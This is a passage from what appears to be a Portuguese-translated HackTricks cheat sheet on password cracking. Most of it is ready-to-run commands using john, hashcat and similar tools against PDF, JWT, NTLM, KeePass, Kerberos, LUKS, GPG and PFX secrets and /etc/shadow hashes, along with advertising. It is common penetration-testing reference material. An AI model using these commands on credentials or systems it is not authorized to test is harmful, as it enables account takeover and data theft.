A técnica de força bruta pode ser usada para quebrar senhas de arquivos PDF protegidos por senha. Existem várias ferramentas disponíveis que podem automatizar o processo de tentativa de várias combinações de senhas para desbloquear um arquivo PDF. Essas ferramentas geralmente funcionam tentando diferentes combinações de senhas até encontrar a correta. É importante notar que a força bruta pode levar muito tempo, dependendo da complexidade da senha e do poder de processamento disponível.
|
||
```bash
|
||
apt-get install pdfcrack
|
||
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
|
||
#pdf2john didn't work well, john didn't know which hash type was
|
||
# To permanently decrypt the pdf
|
||
sudo apt-get install qpdf
|
||
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
|
||
```
|
||
### Senha do Proprietário do PDF
|
||
|
||
Para quebrar a senha do proprietário de um PDF, verifique isso: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
|
||
|
||
### JWT
|
||
```bash
|
||
git clone https://github.com/Sjord/jwtcrack.git
|
||
cd jwtcrack
|
||
|
||
#Bruteforce using crackjwt.py
|
||
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
|
||
|
||
#Bruteforce using john
|
||
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
|
||
john jwt.john #It does not work with Kali-John
|
||
```
|
||
### Quebra de NTLM
|
||
```bash
|
||
Format:USUARIO:ID:HASH_LM:HASH_NT:::
|
||
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
|
||
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
|
||
```
|
||
### Keepass
|
||
```bash
|
||
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
|
||
keepass2john file.kdbx > hash #The keepass is only using password
|
||
keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a file as a needed credential
|
||
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
|
||
john --wordlist=/usr/share/wordlists/rockyou.txt hash
|
||
```
|
||
### Keberoasting
|
||
```bash
|
||
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
|
||
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
|
||
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
|
||
```
|
||
### Imagem do Lucks
|
||
|
||
#### Método 1
|
||
|
||
Instalação: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks)
|
||
```bash
|
||
bruteforce-luks -f ./list.txt ./backup.img
|
||
cryptsetup luksOpen backup.img mylucksopen
|
||
ls /dev/mapper/ #You should find here the image mylucksopen
|
||
mount /dev/mapper/mylucksopen /mnt
|
||
```
|
||
#### Método 2
|
||
```bash
|
||
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
|
||
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
|
||
hashcat -m 14600 -a 0 luckshash wordlists/rockyou.txt
|
||
cryptsetup luksOpen backup.img mylucksopen
|
||
ls /dev/mapper/ #You should find here the image mylucksopen
|
||
mount /dev/mapper/mylucksopen /mnt
|
||
```
|
||
Outro tutorial de BF Luks: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
|
||
|
||
### Mysql
|
||
```bash
|
||
#John hash format
|
||
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
|
||
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
|
||
```
|
||
### Chave privada PGP/GPG
|
||
```bash
|
||
gpg2john private_pgp.key #This will generate the hash and save it in a file
|
||
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
|
||
```
|
||
### Cisco
|
||
|
||
<figure><img src="../.gitbook/assets/image (663).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
### Chave Mestra DPAPI
|
||
|
||
Use [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) e depois o john
|
||
|
||
### Coluna Protegida por Senha no Open Office
|
||
|
||
Se você tiver um arquivo xlsx com uma coluna protegida por senha, você pode desprotegê-la:
|
||
|
||
* **Faça o upload para o Google Drive** e a senha será removida automaticamente
|
||
* Para **removê-la** **manualmente**:
|
||
```bash
|
||
unzip file.xlsx
|
||
grep -R "sheetProtection" ./*
|
||
# Find something like: <sheetProtection algorithmName="SHA-512"
|
||
hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg" saltValue="U9oZfaVCkz5jWdhs9AA8nA" spinCount="100000" sheet="1" objects="1" scenarios="1"/>
|
||
# Remove that line and rezip the file
|
||
zip -r file.xls .
|
||
```
|
||
### Certificados PFX
|
||
```bash
|
||
# From https://github.com/Ridter/p12tool
|
||
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
|
||
# From https://github.com/crackpkcs12/crackpkcs12
|
||
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
|
||
```
|
||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) para construir e **automatizar fluxos de trabalho** facilmente, alimentados pelas ferramentas comunitárias **mais avançadas do mundo**.\
|
||
Obtenha Acesso Hoje:
|
||
|
||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
|
||
|
||
## Ferramentas
|
||
|
||
**Exemplos de Hash:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
|
||
|
||
### Identificador de Hash
|
||
```bash
|
||
hash-identifier
|
||
> <HASH>
|
||
```
|
||
### Listas de Palavras
|
||
|
||
* **Rockyou**
|
||
* [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists)
|
||
* [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists)
|
||
* [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords)
|
||
|
||
### **Ferramentas de Geração de Listas de Palavras**
|
||
|
||
* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Gerador avançado de sequências de teclado com caracteres base configuráveis, mapa de teclas e rotas.
|
||
```bash
|
||
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
|
||
```
|
||
### Mutação de John
|
||
|
||
Leia _**/etc/john/john.conf**_ e configure-o
|
||
```bash
|
||
john --wordlist=words.txt --rules --stdout > w_mutated.txt
|
||
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
|
||
```
|
||
### Hashcat
|
||
|
||
#### Ataques do Hashcat
|
||
|
||
* **Ataque de lista de palavras** (`-a 0`) com regras
|
||
|
||
O **Hashcat** já vem com uma **pasta contendo regras**, mas você pode encontrar [**outras regras interessantes aqui**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
|
||
```
|
||
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
|
||
```
|
||
* **Ataque de combinação de listas de palavras**
|
||
|
||
É possível **combinar 2 listas de palavras em 1** com o hashcat.\
|
||
Se a lista 1 contiver a palavra **"hello"** e a segunda contiver 2 linhas com as palavras **"world"** e **"earth"**. As palavras `helloworld` e `helloearth` serão geradas.
|
||
```bash
|
||
# This will combine 2 wordlists
|
||
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
|
||
|
||
# Same attack as before but adding chars in the newly generated words
|
||
# In the previous example this will generate:
|
||
## hello-world!
|
||
## hello-earth!
|
||
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
|
||
```
|
||
* **Ataque de máscara** (`-a 3`)
|
||
```bash
|
||
# Mask attack with simple mask
|
||
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d
|
||
|
||
hashcat --help #will show the charsets and are as follows
|
||
? | Charset
|
||
===+=========
|
||
l | abcdefghijklmnopqrstuvwxyz
|
||
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
|
||
d | 0123456789
|
||
h | 0123456789abcdef
|
||
H | 0123456789ABCDEF
|
||
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
|
||
a | ?l?u?d?s
|
||
b | 0x00 - 0xff
|
||
|
||
# Mask attack declaring custom charset
|
||
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
|
||
## -1 ?d?s defines a custom charset (digits and specials).
|
||
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.
|
||
|
||
# Mask attack with variable password length
|
||
## Create a file called masks.hcmask with this content:
|
||
?d?s,?u?l?l?l?l?1
|
||
?d?s,?u?l?l?l?l?l?1
|
||
?d?s,?u?l?l?l?l?l?l?1
|
||
?d?s,?u?l?l?l?l?l?l?l?1
|
||
?d?s,?u?l?l?l?l?l?l?l?l?1
|
||
## Use it to crack the password
|
||
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
|
||
```
|
||
* Ataque de Wordlist + Máscara (`-a 6`) / Ataque de Máscara + Wordlist (`-a 7`)
|
||
```bash
|
||
# Mask numbers will be appended to each word in the wordlist
|
||
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
|
||
|
||
# Mask numbers will be prepended to each word in the wordlist
|
||
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
|
||
```
|
||
#### Modos do Hashcat
|
||
```bash
|
||
hashcat --example-hashes | grep -B1 -A2 "NTLM"
|
||
```
|
||
## Brute Forcing Linux Hashes - /etc/shadow file
|
||
|
||
### Introduction
|
||
|
||
When it comes to cracking Linux hashes from the `/etc/shadow` file, brute force attacks are a common technique used by hackers. In a brute force attack, the attacker systematically tries all possible combinations of characters until the correct password is found.
|
||
|
||
### Methodology
|
||
|
||
1. **Obtain the Hash**: First, the attacker needs to obtain the hash of the password stored in the `/etc/shadow` file.
|
||
|
||
2. **Generate Password Candidates**: Next, the attacker generates password candidates by creating a list of possible passwords based on different criteria such as dictionary words, common passwords, or random combinations.
|
||
|
||
3. **Hash the Candidates**: Each password candidate is hashed using the same algorithm as the one used in the `/etc/shadow` file.
|
||
|
||
4. **Compare Hashes**: The attacker compares the hashed password candidates with the target hash obtained from the `/etc/shadow` file.
|
||
|
||
5. **Success**: If a match is found, the attacker has successfully cracked the password.
|
||
|
||
### Tools
|
||
|
||
There are various tools available for performing brute force attacks on Linux hashes, such as John the Ripper, Hashcat, and Hydra.
|
||
|
||
### Conclusion
|
||
|
||
Brute forcing Linux hashes from the `/etc/shadow` file can be a time-consuming process, but it is an effective method for recovering passwords and gaining unauthorized access to systems. It is important for system administrators to use strong, unique passwords and implement additional security measures to protect against brute force attacks.
|
||
```
|
||
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
|
||
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
|
||
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
|
||
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
|
||
```
|
||
Quebrando Hashes do Windows
|
||
```
|
||
3000 | LM | Operating-Systems
|
||
1000 | NTLM | Operating-Systems
|
||
```
|
||
Quebrando Hashes de Aplicativos Comuns
|
||
```
|
||
900 | MD4 | Raw Hash
|
||
0 | MD5 | Raw Hash
|
||
5100 | Half MD5 | Raw Hash
|
||
100 | SHA1 | Raw Hash
|
||
10800 | SHA-384 | Raw Hash
|
||
1400 | SHA-256 | Raw Hash
|
||
1700 | SHA-512 | Raw Hash
|
||
```
|
||
<details>
|
||
|
||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Outras maneiras de apoiar o HackTricks:
|
||
|
||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||
|
||
</details>
|
||
|
||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias **mais avançadas do mundo**.\
|
||
Obtenha Acesso Hoje:
|
||
|
||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
|